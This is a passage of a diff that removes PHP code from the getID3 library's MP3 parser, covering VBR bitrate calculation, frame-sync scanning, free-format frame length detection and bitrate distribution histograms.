((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) { - $bytes_per_frame = 576; - } - $thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0); - if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) { - $info['audio']['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; - $thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion - } - break; - } - } - - // End variable-bitrate headers - //////////////////////////////////////////////////////////////////////////////////// - - if ($recursivesearch) { - - if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) { - return false; - } - if (!empty($this->getid3->info['mp3_validity_check_bitrates']) && !empty($thisfile_mpeg_audio['bitrate_mode']) && ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') && !empty($thisfile_mpeg_audio['VBR_bitrate'])) { - // https://github.com/JamesHeinrich/getID3/issues/287 - if (count(array_keys($this->getid3->info['mp3_validity_check_bitrates'])) == 1) { - list($cbr_bitrate_in_short_scan) = array_keys($this->getid3->info['mp3_validity_check_bitrates']); - $deviation_cbr_from_header_bitrate = abs($thisfile_mpeg_audio['VBR_bitrate'] - $cbr_bitrate_in_short_scan) / $cbr_bitrate_in_short_scan; - if ($deviation_cbr_from_header_bitrate < 0.01) { - // VBR header bitrate may differ slightly from true bitrate of frames, perhaps accounting for overhead of VBR header frame itself? - // If measured CBR bitrate is within 1% of specified bitrate in VBR header then assume that file is truly CBR - $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; - //$this->warning('VBR header ignored, assuming CBR '.round($cbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames'); - } - } - } - if (isset($this->getid3->info['mp3_validity_check_bitrates'])) { - unset($this->getid3->info['mp3_validity_check_bitrates']); - } - - } - - - //if (false) { - // // experimental side info parsing section - not returning anything useful yet - // - // $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData); - // $SideInfoOffset = 0; - // - // if ($thisfile_mpeg_audio['version'] == '1') { - // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { - // // MPEG-1 (mono) - // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); - // $SideInfoOffset += 9; - // $SideInfoOffset += 5; - // } else { - // // MPEG-1 (stereo, joint-stereo, dual-channel) - // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); - // $SideInfoOffset += 9; - // $SideInfoOffset += 3; - // } - // } else { // 2 or 2.5 - // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { - // // MPEG-2, MPEG-2.5 (mono) - // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); - // $SideInfoOffset += 8; - // $SideInfoOffset += 1; - // } else { - // // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel) - // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); - // $SideInfoOffset += 8; - // $SideInfoOffset += 2; - // } - // } - // - // if ($thisfile_mpeg_audio['version'] == '1') { - // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { - // for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) { - // $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1); - // $SideInfoOffset += 2; - // } - // } - // } - // for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) { - // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { - // $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12); - // $SideInfoOffset += 12; - // $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); - // $SideInfoOffset += 9; - // $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8); - // $SideInfoOffset += 8; - // if ($thisfile_mpeg_audio['version'] == '1') { - // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); - // $SideInfoOffset += 4; - // } else { - // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); - // $SideInfoOffset += 9; - // } - // $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); - // $SideInfoOffset += 1; - // - // if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') { - // - // $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2); - // $SideInfoOffset += 2; - // $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); - // $SideInfoOffset += 1; - // - // for ($region = 0; $region < 2; $region++) { - // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); - // $SideInfoOffset += 5; - // } - // $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0; - // - // for ($window = 0; $window < 3; $window++) { - // $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3); - // $SideInfoOffset += 3; - // } - // - // } else { - // - // for ($region = 0; $region < 3; $region++) { - // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); - // $SideInfoOffset += 5; - // } - // - // $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); - // $SideInfoOffset += 4; - // $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3); - // $SideInfoOffset += 3; - // $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0; - // } - // - // if ($thisfile_mpeg_audio['version'] == '1') { - // $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); - // $SideInfoOffset += 1; - // } - // $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); - // $SideInfoOffset += 1; - // $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); - // $SideInfoOffset += 1; - // } - // } - //} - - return true; - } - - /** - * @param int $offset - * @param int $nextframetestoffset - * @param bool $ScanAsCBR - * - * @return bool - */ - public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) { - $info = &$this->getid3->info; - $firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']); - $this->decodeMPEGaudioHeader($offset, $firstframetestarray, false); - - $info['mp3_validity_check_bitrates'] = array(); - for ($i = 0; $i < $this->mp3_valid_check_frames; $i++) { - // check next (default: 50) frames for validity, to make sure we haven't run across a false synch - if (($nextframetestoffset + 4) >= $info['avdataend']) { - // end of file - return true; - } - - $nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); - if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) { - getid3_lib::safe_inc($info['mp3_validity_check_bitrates'][$nextframetestarray['mpeg']['audio']['bitrate']]); - if ($ScanAsCBR) { - // force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header - if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) { - return false; - } - } - - - // next frame is OK, get ready to check the one after that - if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) { - $nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength']; - } else { - $this->error('Frame at offset ('.$offset.') is has an invalid frame length.'); - return false; - } - - } elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) { - - // it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK - return true; - - } else { - - // next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence - $this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.'); - - return false; - } - } - return true; - } - - /** - * @param int $offset - * @param bool $deepscan - * - * @return int|false - */ - public function FreeFormatFrameLength($offset, $deepscan=false) { - $info = &$this->getid3->info; - - $this->fseek($offset); - $MPEGaudioData = $this->fread(32768); - - $SyncPattern1 = substr($MPEGaudioData, 0, 4); - // may be different pattern due to padding - $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3]; - if ($SyncPattern2 === $SyncPattern1) { - $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3]; - } - - $framelength = false; - $framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4); - $framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4); - if ($framelength1 > 4) { - $framelength = $framelength1; - } - if (($framelength2 > 4) && ($framelength2 < $framelength1)) { - $framelength = $framelength2; - } - if (!$framelength) { - - // LAME 3.88 has a different value for modeextension on the first frame vs the rest - $framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4); - $framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4); - - if ($framelength1 > 4) { - $framelength = $framelength1; - } - if (($framelength2 > 4) && ($framelength2 < $framelength1)) { - $framelength = $framelength2; - } - if (!$framelength) { - $this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset); - return false; - } else { - $this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)'); - $info['audio']['codec'] = 'LAME'; - $info['audio']['encoder'] = 'LAME3.88'; - $SyncPattern1 = substr($SyncPattern1, 0, 3); - $SyncPattern2 = substr($SyncPattern2, 0, 3); - } - } - - if ($deepscan) { - - $ActualFrameLengthValues = array(); - $nextoffset = $offset + $framelength; - while ($nextoffset < ($info['avdataend'] - 6)) { - $this->fseek($nextoffset - 1); - $NextSyncPattern = $this->fread(6); - if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) { - // good - found where expected - $ActualFrameLengthValues[] = $framelength; - } elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) { - // ok - found one byte earlier than expected (last frame wasn't padded, first frame was) - $ActualFrameLengthValues[] = ($framelength - 1); - $nextoffset--; - } elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) { - // ok - found one byte later than expected (last frame was padded, first frame wasn't) - $ActualFrameLengthValues[] = ($framelength + 1); - $nextoffset++; - } else { - $this->error('Did not find expected free-format sync pattern at offset '.$nextoffset); - return false; - } - $nextoffset += $framelength; - } - if (count($ActualFrameLengthValues) > 0) { - $framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues))); - } - } - return $framelength; - } - - /** - * @return bool - */ - public function getOnlyMPEGaudioInfoBruteForce() { - $MPEGaudioHeaderDecodeCache = array(); - $MPEGaudioHeaderValidCache = array(); - $MPEGaudioHeaderLengthCache = array(); - $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); - $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); - $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); - $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); - $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); - $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); - $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); - $LongMPEGversionLookup = array(); - $LongMPEGlayerLookup = array(); - $LongMPEGbitrateLookup = array(); - $LongMPEGpaddingLookup = array(); - $LongMPEGfrequencyLookup = array(); - $Distribution = array(); - $Distribution['bitrate'] = array(); - $Distribution['frequency'] = array(); - $Distribution['layer'] = array(); - $Distribution['version'] = array(); - $Distribution['padding'] = array(); - - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset']); - - $max_frames_scan = 5000; - $frames_scanned = 0; - - $previousvalidframe = $info['avdataoffset']; - while ($this->ftell() < $info['avdataend']) { - set_time_limit(30); - $head4 = $this->fread(4); - if (strlen($head4) < 4) { - break; - } - if ($head4[0] != "\xFF") { - for ($i = 1; $i < 4; $i++) { - if ($head4[$i] == "\xFF") { - $this->fseek($i - 4, SEEK_CUR); - continue 2; - } - } - continue; - } - if (!isset($MPEGaudioHeaderDecodeCache[$head4])) { - $MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4); - } - if (!isset($MPEGaudioHeaderValidCache[$head4])) { - $MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false); - } - if ($MPEGaudioHeaderValidCache[$head4]) { - - if (!isset($MPEGaudioHeaderLengthCache[$head4])) { - $LongMPEGversionLookup[$head4] = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']]; - $LongMPEGlayerLookup[$head4] = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']]; - $LongMPEGbitrateLookup[$head4] = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']]; - $LongMPEGpaddingLookup[$head4] = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding']; - $LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']]; - $MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength( - $LongMPEGbitrateLookup[$head4], - $LongMPEGversionLookup[$head4], - $LongMPEGlayerLookup[$head4], - $LongMPEGpaddingLookup[$head4], - $LongMPEGfrequencyLookup[$head4]); - } - if ($MPEGaudioHeaderLengthCache[$head4] > 4) { - $WhereWeWere = $this->ftell(); - $this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR); - $next4 = $this->fread(4); - if ($next4[0] == "\xFF") { - if (!isset($MPEGaudioHeaderDecodeCache[$next4])) { - $MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4); - } - if (!isset($MPEGaudioHeaderValidCache[$next4])) { - $MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false); - } - if ($MPEGaudioHeaderValidCache[$next4]) { - $this->fseek(-4, SEEK_CUR); - - $Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1; - $Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1; - $Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1; - $Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1; - $Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1; - if (++$frames_scanned >= $max_frames_scan) { - $pct_data_scanned = ($this->ftell() - $info['avdataoffset']) / ($info['avdataend'] - $info['avdataoffset']); - $this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); - foreach ($Distribution as $key1 => $value1) { - foreach ($value1 as $key2 => $value2) { - $Distribution[$key1][$key2] = round($value2 / $pct_data_scanned); - } - } - break; - } - continue; - } - } - unset($next4); - $this->fseek($WhereWeWere - 3); - } - - } - } - foreach ($Distribution as $key => $value) { - ksort($Distribution[$key], SORT_NUMERIC); - } - ksort($Distribution['version'], SORT_STRING); - $info['mpeg']['audio']['bitrate_distribution'] = $Distribution['bitrate']; - $info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency']; - $info['mpeg']['audio']['layer_distribution'] = $Distribution['layer']; - $info['mpeg']['audio']['version_distribution'] = $Distribution['version']; - $info['mpeg']['audio']['padding_distribution'] = $Distribution['padding']; - if (count($Distribution['version']) > 1) { - $this->error('Corrupt file - more than one MPEG version detected'); - } - if (count($Distribution['layer']) > 1) { - $this->error('Corrupt file - more than one MPEG layer detected'); - } - if (count($Distribution['frequency']) > 1) { - $this->error('Corrupt file - more than one MPEG sample rate detected'); - } - - - $bittotal = 0; - foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) { - if ($bitratevalue != 'free') { - $bittotal += ($bitratevalue * $bitratecount); - } - } - $info['mpeg']['audio']['frame_count'] = array_sum($Distribution['bitrate']); - if ($info['mpeg']['audio']['frame_count'] == 0) { - $this->error('no MPEG audio frames found'); - return false; - } - $info['mpeg']['audio']['bitrate'] = ($bittotal / $info['mpeg']['audio']['frame_count']); - $info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr'); - $info['mpeg']['audio']['sample_rate'] = getid3_lib::array_max($Distribution['frequency'], true); - - $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; - $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; - $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; - $info['audio']['dataformat'] = 'mp'.getid3_lib::array_max($Distribution['layer'], true); - $info['fileformat'] = $info['audio']['dataformat']; - - return true; - } - - /** - * @param int $avdataoffset - * @param bool $BitrateHistogram - * - * @return bool - */ - public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) { - // looks for synch, decodes MPEG audio header - - $info = &$this->getid3->info; - - static $MPEGaudioVersionLookup; - static $MPEGaudioLayerLookup; - static $MPEGaudioBitrateLookup; - if (empty($MPEGaudioVersionLookup)) { - $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); - $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); - $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); - } - - $this->fseek($avdataoffset); - $sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset); - if ($sync_seek_buffer_size <= 0) { - $this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset); - return false; - } - $header = $this->fread($sync_seek_buffer_size); - $sync_seek_buffer_size = strlen($header); - $SynchSeekOffset = 0; - $SyncSeekAttempts = 0; - $SyncSeekAttemptsMax = 1000; - $FirstFrameThisfileInfo = null; - while ($SynchSeekOffset < $sync_seek_buffer_size) { - if ((($avdataoffset + $SynchSeekOffset) < $info['avdataend']) && !feof($this->getid3->fp)) { - - if ($SynchSeekOffset > $sync_seek_buffer_size) { - // if a synch's not found within the first 128k bytes, then give up - $this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB'); - if (isset($info['audio']['bitrate'])) { - unset($info['audio']['bitrate']); - } - if (isset($info['mpeg']['audio'])) { - unset($info['mpeg']['audio']); - } - if (empty($info['mpeg'])) { - unset($info['mpeg']); - } - return false; - - } elseif (feof($this->getid3->fp)) { - - $this->error('Could not find valid MPEG audio synch before end of file'); - if (isset($info['audio']['bitrate'])) { - unset($info['audio']['bitrate']); - } - if (isset($info['mpeg']['audio'])) { - unset($info['mpeg']['audio']); - } - if (isset($info['mpeg']) && (!is_array($info['mpeg']) || (count($info['mpeg']) == 0))) { - unset($info['mpeg']); - } - return false; - } - } - - if (($SynchSeekOffset + 1) >= strlen($header)) { - $this->error('Could not find valid MPEG synch before end of file'); - return false; - } - - if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // possible synch detected - if (++$SyncSeekAttempts >= $SyncSeekAttemptsMax) { - // https://github.com/JamesHeinrich/getID3/issues/286 - // corrupt files claiming to be MP3, with a large number of 0xFF bytes near the beginning, can cause this loop to take a very long time - // should have escape condition to avoid spending too much time scanning a corrupt file - // if a synch's not found within the first 128k bytes, then give up - $this->error('Could not find valid MPEG audio synch after scanning '.$SyncSeekAttempts.' candidate offsets'); - if (isset($info['audio']['bitrate'])) { - unset($info['audio']['bitrate']); - } - if (isset($info['mpeg']['audio'])) { - unset($info['mpeg']['audio']); - } - if (empty($info['mpeg'])) { - unset($info['mpeg']); - } - return false; - } - $FirstFrameAVDataOffset = null; - if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) { - $FirstFrameThisfileInfo = $info; - $FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset; - if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) { - // if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's - // garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below - unset($FirstFrameThisfileInfo); - } - } - - $dummy = $info; // only overwrite real data if valid header found - if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) { - $info = $dummy; - $info['avdataoffset'] = $avdataoffset + $SynchSeekOffset; - switch (isset($info['fileformat']) ? $info['fileformat'] : '') { - case '': - case 'id3': - case 'ape': - case 'mp3': - $info['fileformat'] = 'mp3'; - $info['audio']['dataformat'] = 'mp3'; - break; - } - if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) { - if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) { - // If there is garbage data between a valid VBR header frame and a sequence - // of valid MPEG-audio frames the VBR data is no longer discarded. - $info = $FirstFrameThisfileInfo; - $info['avdataoffset'] = $FirstFrameAVDataOffset; - $info['fileformat'] = 'mp3'; - $info['audio']['dataformat'] = 'mp3'; - $dummy = $info; - unset($dummy['mpeg']['audio']); - $GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength']; - $GarbageOffsetEnd = $avdataoffset + $SynchSeekOffset; - if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) { - $info = $dummy; - $info['avdataoffset'] = $GarbageOffsetEnd; - $this->warning('apparently-valid VBR header not used because could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd); - } else { - $this->warning('using data from VBR header even though could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')'); - } - } - } - if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) { - // VBR file with no VBR header - $BitrateHistogram = true; - } - - if ($BitrateHistogram) { - - $info['mpeg']['audio']['stereo_distribution'] = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0); - $info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0); - - if ($info['mpeg']['audio']['version'] == '1') { - if ($info['mpeg']['audio']['layer'] == 3) { - $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0); - } elseif ($info['mpeg']['audio']['layer'] == 2) { - $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0); - } elseif ($info['mpeg']['audio']['layer'] == 1) { - $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0); - } - } elseif ($info['mpeg']['audio']['layer'] == 1) { - $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0); - } else { - $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0); - } - - $dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); - $synchstartoffset = $info['avdataoffset']; - $this->fseek($info['avdataoffset']); - - // you can play with these numbers: - $max_frames_scan = 50000; - $max_scan_segments = 10; - - // don't play with these numbers: - $FastMode = false; - $SynchErrorsFound = 0; - $frames_scanned = 0; - $this_scan_segment = 0; - $frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments); - $pct_data_scanned = 0; - for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) { - $frames_scanned_this_segment = 0; - $scan_start_offset = array(); - if ($this->ftell() >= $info['avdataend']) { - break; - } - $scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments))); - if ($current_segment > 0) { - $this->fseek($scan_start_offset[$current_segment]); - $buffer_4k = $this->fread(4096); - for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) { - if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected - if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) { - $calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength']; - if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) { - $scan_start_offset[$current_segment] += $j; - break; - } - } - } - } - } - $synchstartoffset = $scan_start_offset[$current_segment]; - while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) { - $FastMode = true; - $thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']]; - - if (empty($dummy['mpeg']['audio']['framelength'])) { - $SynchErrorsFound++; - $synchstartoffset++; - } else { - getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]); - getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]); - getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]); - $synchstartoffset += $dummy['mpeg']['audio']['framelength']; - } - $frames_scanned++; - if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) { - $this_pct_scanned = ($this->ftell() - $scan_start_offset[$current_segment]) / ($info['avdataend'] - $info['avdataoffset']); - if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) { - // file likely contains < $max_frames_scan, just scan as one segment - $max_scan_segments = 1; - $frames_scan_per_segment = $max_frames_scan; - } else { - $pct_data_scanned += $this_pct_scanned; - break; - } - } - } - } - if ($pct_data_scanned > 0) { - $this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); - foreach ($info['mpeg']['audio'] as $key1 => $value1) { - if 